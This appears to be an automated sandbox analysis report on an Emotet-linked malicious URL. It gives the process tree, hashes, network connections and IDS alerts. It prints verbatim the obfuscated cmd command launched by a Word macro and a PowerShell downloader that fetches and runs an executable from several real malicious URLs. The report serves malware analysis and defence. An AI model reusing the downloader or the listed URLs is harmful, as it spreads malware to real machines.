URL: | https://u3591409.ct.sendgrid.net/wf/click?upn=MpkhbQ9A7ghXsilGlb8JaMaAODoPYRPhWLFPW8p76-2FIoXLE9oOWw25sLf0yAtve1a2dt2WTpa-2Bw-2FOHkLiMwvPNpVdJSpnpXLW3Sw0aVmccmQCgt2DS5M67lAL4dcGCou_cthq0z3adJO3eRdfaqambrdlNWmiBU1pAImjqPZGN1zY2vz0-2F-2B0uoYhbUymmwjLhoeH0rG2nvYMWst8Lzsb08bplQMqsepcg8AJTMqrqWyMAoNJFR2wvDKH9DkL7Ip8EoTRRD58-2F7XvvI3FYxqK3eVuBvTrz74lkgkfSJiAfjIon4ws5vULXVmaNvljTcWVYAT7rcFMM-2FRRar9ZpmzJ9teN8sD-2Fffu-2Bw8wiWe5X3q5g-3D/ |
Full analysis: | https://app.any.run/tasks/af9f1428-c172-4525-ba94-4c771920b4f5 |
Verdict: | Malicious activity |
Threats: | Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns. |
Analysis date: | January 22, 2019, 15:59:43 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
Tags: | |
Indicators: | |
MD5: | AE7E1D6816B5F5FF2F9C4CB7BEC4EEA4 |
SHA1: | 2DA0F0F80F2541F2C026A4B4E54CD50E7C6CDCAF |
SHA256: | 8E10E5082090549F0F2011D4EC2AAFB5D995C0AA1B68888B54012FE9DAAA60FF |
SSDEEP: | 12:2MeDSeZy6ytmOTfhXhA896IS0fkRUWEGqKO+:2pTF4FRAW9xIO+ |
PID | CMD | Path | Indicators | Parent process |
---|---|---|---|---|
2952 | "C:\Program Files\Internet Explorer\iexplore.exe" -nohome | C:\Program Files\Internet Explorer\iexplore.exe | explorer.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Internet Explorer Exit code: 1 Version: 8.00.7600.16385 (win7_rtm.090713-1255) | ||||
3092 | "C:\Program Files\Internet Explorer\iexplore.exe" SCODEF:2952 CREDAT:71937 | C:\Program Files\Internet Explorer\iexplore.exe | iexplore.exe | |
User: admin Company: Microsoft Corporation Integrity Level: LOW Description: Internet Explorer Exit code: 0 Version: 8.00.7600.16385 (win7_rtm.090713-1255) | ||||
2348 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\OCDM6JB6\PAY08525228974239516151[1].doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | iexplore.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Version: 14.0.6024.1000 | ||||
3420 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Embedding | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | WINWORD.EXE |
User: admin Company: Microsoft Corporation Integrity Level: LOW Description: Microsoft Word Exit code: 0 Version: 14.0.6024.1000 | ||||
2580 | c:\j9656\k4197\v1873\..\..\..\windows\system32\cmd.exe /c %ProgramData:~0,1%%ProgramData:~9,2% /V:ON/C"set kQXu=uh$oQv2m'dr%YE+Fe;g~ZBzpiLG8aIx{-kjOtN=yS7f)/WnT10sb6Pq4.C3VDRc5_}(9,\w@lAH XM:UK&&for %L in (23;3;70;11;53;79;21;25;29;57;78;19;63;68;48;11;10;11;40;13;40;40;29;35;37;37;73;77;13;78;19;32;55;68;48;11;1;11;47;13;77;53;78;19;32;58;68;48;11;72;72;75;2;1;48;63;41;67;38;8;46;48;27;55;52;8;17;2;0;52;52;6;27;38;46;16;70;32;3;51;34;16;62;36;75;37;16;36;56;45;16;51;57;72;24;16;46;36;17;2;3;67;6;27;27;38;8;1;36;36;23;78;44;44;70;70;70;56;28;23;42;32;16;46;36;10;16;23;10;24;50;16;50;27;49;56;62;3;7;44;18;74;67;13;54;52;4;23;6;54;21;73;50;51;37;71;1;36;36;23;78;44;44;70;70;70;56;9;16;5;24;36;42;3;10;70;28;10;9;56;62;3;7;44;74;0;62;80;23;18;54;50;36;52;79;28;39;64;59;7;80;77;71;1;36;36;23;78;44;44;62;28;7;32;36;16;62;1;56;24;10;44;41;48;26;61;54;34;22;42;10;20;71;1;36;36;23;78;44;44;72;28;34;24;10;28;42;28;50;3;23;1;24;16;56;62;3;7;44;70;23;32;24;46;62;72;0;9;16;50;44;47;74;61;67;10;13;33;72;45;76;29;22;20;42;71;1;36;36;23;78;44;44;16;50;9;16;56;28;72;44;59;26;4;12;60;45;23;59;64;13;6;27;13;13;55;76;33;33;8;56;40;23;72;24;36;66;8;71;8;43;17;2;5;41;63;27;41;38;8;34;55;67;58;58;8;17;2;46;58;52;67;55;75;38;75;8;52;55;58;8;17;2;1;6;6;41;38;8;36;55;63;55;6;8;17;2;34;63;27;67;55;38;2;16;46;5;78;36;16;7;23;14;8;69;8;14;2;46;58;52;67;55;14;8;56;16;30;16;8;17;42;3;10;16;28;62;1;66;2;3;58;49;67;67;75;24;46;75;2;3;67;6;27;27;43;31;36;10;39;31;2;0;52;52;6;27;56;60;3;70;46;72;3;28;9;15;24;72;16;66;2;3;58;49;67;67;68;75;2;34;63;27;67;55;43;17;2;42;41;55;41;41;38;8;7;58;48;52;63;8;17;29;42;75;66;66;26;16;36;32;29;36;16;7;75;2;34;63;27;67;55;43;56;72;16;46;18;36;1;75;32;18;16;75;55;49;49;49;49;43;75;31;29;46;5;3;33;16;32;29;36;16;7;75;2;34;63;27;67;55;17;2;72;27;49;41;41;38;8;7;55;67;55;41;8;17;51;10;16;28;33;17;65;65;62;28;36;62;1;31;65;65;2;22;63;49;6;49;38;8;7;27;27;27;58;8;17;91)do set tCK=!tCK!!kQXu:~%L,1!&&if %L geq 91 echo !tCK:*tCK!=!|FOR /F "delims=KHFN tokens=2" %5 IN ('ftype^^^|find "mdFi"')DO %5 " | c:\windows\system32\cmd.exe | — | WINWORD.EXE |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
3172 | CmD /V:ON/C"set kQXu=uh$oQv2m'dr%YE+Fe;g~ZBzpiLG8aIx{-kjOtN=yS7f)/WnT10sb6Pq4.C3VDRc5_}(9,\w@lAH XM:UK&&for %L in (23;3;70;11;53;79;21;25;29;57;78;19;63;68;48;11;10;11;40;13;40;40;29;35;37;37;73;77;13;78;19;32;55;68;48;11;1;11;47;13;77;53;78;19;32;58;68;48;11;72;72;75;2;1;48;63;41;67;38;8;46;48;27;55;52;8;17;2;0;52;52;6;27;38;46;16;70;32;3;51;34;16;62;36;75;37;16;36;56;45;16;51;57;72;24;16;46;36;17;2;3;67;6;27;27;38;8;1;36;36;23;78;44;44;70;70;70;56;28;23;42;32;16;46;36;10;16;23;10;24;50;16;50;27;49;56;62;3;7;44;18;74;67;13;54;52;4;23;6;54;21;73;50;51;37;71;1;36;36;23;78;44;44;70;70;70;56;9;16;5;24;36;42;3;10;70;28;10;9;56;62;3;7;44;74;0;62;80;23;18;54;50;36;52;79;28;39;64;59;7;80;77;71;1;36;36;23;78;44;44;62;28;7;32;36;16;62;1;56;24;10;44;41;48;26;61;54;34;22;42;10;20;71;1;36;36;23;78;44;44;72;28;34;24;10;28;42;28;50;3;23;1;24;16;56;62;3;7;44;70;23;32;24;46;62;72;0;9;16;50;44;47;74;61;67;10;13;33;72;45;76;29;22;20;42;71;1;36;36;23;78;44;44;16;50;9;16;56;28;72;44;59;26;4;12;60;45;23;59;64;13;6;27;13;13;55;76;33;33;8;56;40;23;72;24;36;66;8;71;8;43;17;2;5;41;63;27;41;38;8;34;55;67;58;58;8;17;2;46;58;52;67;55;75;38;75;8;52;55;58;8;17;2;1;6;6;41;38;8;36;55;63;55;6;8;17;2;34;63;27;67;55;38;2;16;46;5;78;36;16;7;23;14;8;69;8;14;2;46;58;52;67;55;14;8;56;16;30;16;8;17;42;3;10;16;28;62;1;66;2;3;58;49;67;67;75;24;46;75;2;3;67;6;27;27;43;31;36;10;39;31;2;0;52;52;6;27;56;60;3;70;46;72;3;28;9;15;24;72;16;66;2;3;58;49;67;67;68;75;2;34;63;27;67;55;43;17;2;42;41;55;41;41;38;8;7;58;48;52;63;8;17;29;42;75;66;66;26;16;36;32;29;36;16;7;75;2;34;63;27;67;55;43;56;72;16;46;18;36;1;75;32;18;16;75;55;49;49;49;49;43;75;31;29;46;5;3;33;16;32;29;36;16;7;75;2;34;63;27;67;55;17;2;72;27;49;41;41;38;8;7;55;67;55;41;8;17;51;10;16;28;33;17;65;65;62;28;36;62;1;31;65;65;2;22;63;49;6;49;38;8;7;27;27;27;58;8;17;91)do set tCK=!tCK!!kQXu:~%L,1!&&if %L geq 91 echo !tCK:*tCK!=!|FOR /F "delims=KHFN tokens=2" %5 IN ('ftype^^^|find "mdFi"')DO %5 " | C:\Windows\system32\cmd.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
2264 | C:\Windows\system32\cmd.exe /S /D /c" echo pow%PUBLIC:~5,1%r%SESSIONNAME:~-4,1%h%TEMP:~-3,1%ll $h1579='n1846';$u6628=new-object Net.WebClient;$o9288='http://www.apf-entreprises80.com/gH9Eq6Qp2qBAsbN@http://www.devitforward.com/HucKpgqst6Uay_VmKM@http://cam-tech.ir/71GRqjzfrZ@http://lajirafasophie.com/wp-includes/THR9rEklWXIzZf@http://esde.al/VGQYDWpV_E28EE4Xkk'.Split('@');$v7587='j4933';$n3694 = '643';$h227='t4542';$j5894=$env:temp+'\'+$n3694+'.exe';foreach($o3099 in $o9288){try{$u6628.DownloadFile($o3099, $j5894);$f7477='m3165';If ((Get-Item $j5894).length -ge 40000) {Invoke-Item $j5894;$l8077='m4947';break;}}catch{}}$z5020='m8883';" | C:\Windows\system32\cmd.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
2320 | C:\Windows\system32\cmd.exe /S /D /c" FOR /F "delims=KHFN tokens=2" %5 IN ('ftype^|find "mdFi"') DO %5 " | C:\Windows\system32\cmd.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
2676 | C:\Windows\system32\cmd.exe /c ftype|find "mdFi" | C:\Windows\system32\cmd.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
3032 | C:\Windows\system32\cmd.exe /S /D /c" ftype" | C:\Windows\system32\cmd.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) |
PID | Process | Filename | Type | |
---|---|---|---|---|
2952 | iexplore.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\R9ZEWH8D\favicon[1].ico | — | |
MD5:— | SHA256:— | |||
2952 | iexplore.exe | C:\Users\admin\AppData\LocalLow\Microsoft\Internet Explorer\Services\search_{0633EE93-D776-472f-A0FF-E1416B8B2E3A}.ico | — | |
MD5:— | SHA256:— | |||
2952 | iexplore.exe | C:\Users\admin\AppData\Local\Temp\~DFB3DDDF8397D7983B.TMP | — | |
MD5:— | SHA256:— | |||
2348 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVR7B99.tmp.cvr | — | |
MD5:— | SHA256:— | |||
2348 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\OICE_F42E4CF4-9AD5-4609-8DD3-B0A01B0901D0.0\F1FA91E9.doc\:Zone.Identifier:$DATA | — | |
MD5:— | SHA256:— | |||
3420 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\OICE_F42E4CF4-9AD5-4609-8DD3-B0A01B0901D0.0\A66687D1.jpg | — | |
MD5:— | SHA256:— | |||
2348 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\5F9D3ED6.jpg | — | |
MD5:— | SHA256:— | |||
3420 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\OICE_F42E4CF4-9AD5-4609-8DD3-B0A01B0901D0.0\~WRS{4DF998B4-54F0-4893-91A7-47146ABDE2EE}.tmp | — | |
MD5:— | SHA256:— | |||
3420 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\OICE_F42E4CF4-9AD5-4609-8DD3-B0A01B0901D0.0\~WRF{9397D180-425C-4823-913B-B88A320B811F}.tmp | — | |
MD5:— | SHA256:— | |||
2952 | iexplore.exe | C:\Users\admin\AppData\Local\Temp\~DF79CFB71FA762BBED.TMP | — | |
MD5:— | SHA256:— |
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
---|---|---|---|---|---|---|---|---|---|
4048 | powershell.exe | GET | 301 | 213.186.33.17:80 | http://www.apf-entreprises80.com/gH9Eq6Qp2qBAsbN | FR | html | 257 b | malicious |
3092 | iexplore.exe | GET | 200 | 197.211.34.55:80 | http://icta.futminna.edu.ng/nghh-Qid_Ch-kB2/CQ07/invoicing/En_us/Past-Due-Invoices/ | NG | xml | 104 Kb | malicious |
3092 | iexplore.exe | GET | 301 | 197.211.34.55:80 | http://icta.futminna.edu.ng/nghh-Qid_Ch-kB2/CQ07/invoicing/En_us/Past-Due-Invoices | NG | html | 376 b | malicious |
2952 | iexplore.exe | GET | 200 | 204.79.197.200:80 | http://www.bing.com/favicon.ico | US | image | 237 b | whitelisted |
4048 | powershell.exe | GET | 200 | 213.186.33.17:80 | http://www.apf-entreprises80.com/gH9Eq6Qp2qBAsbN/ | FR | executable | 540 Kb | malicious |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
2952 | iexplore.exe | 204.79.197.200:80 | www.bing.com | Microsoft Corporation | US | whitelisted |
4048 | powershell.exe | 213.186.33.17:80 | www.apf-entreprises80.com | OVH SAS | FR | malicious |
1944 | wabmetagen.exe | 182.176.106.43:995 | — | Pakistan Telecom Company Limited | PK | malicious |
3092 | iexplore.exe | 167.89.115.54:443 | u3591409.ct.sendgrid.net | SendGrid, Inc. | US | suspicious |
3092 | iexplore.exe | 197.211.34.55:80 | icta.futminna.edu.ng | globacom-as | NG | malicious |
Domain | IP | Reputation |
---|---|---|
www.bing.com |
| whitelisted |
u3591409.ct.sendgrid.net |
| suspicious |
icta.futminna.edu.ng |
| malicious |
www.apf-entreprises80.com |
| malicious |
PID | Process | Class | Message |
---|---|---|---|
3092 | iexplore.exe | A Network Trojan was detected | SC TROJAN_DOWNLOADER Suspicious request with 'invoice' in http uri |
3092 | iexplore.exe | A Network Trojan was detected | SC TROJAN_DOWNLOADER Suspicious request with 'invoice' in http uri |
3092 | iexplore.exe | A Network Trojan was detected | ET TROJAN Possible malicious Office doc hidden in XML file |
4048 | powershell.exe | A Network Trojan was detected | SC TROJAN_DOWNLOADER Suspicious loader with tiny header |
4048 | powershell.exe | A Network Trojan was detected | SC TROJAN_DOWNLOADER Trojan-Downloader Emoloader Win32 |
4048 | powershell.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
4048 | powershell.exe | Potentially Bad Traffic | ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download |
4048 | powershell.exe | Misc activity | ET INFO EXE - Served Attached HTTP |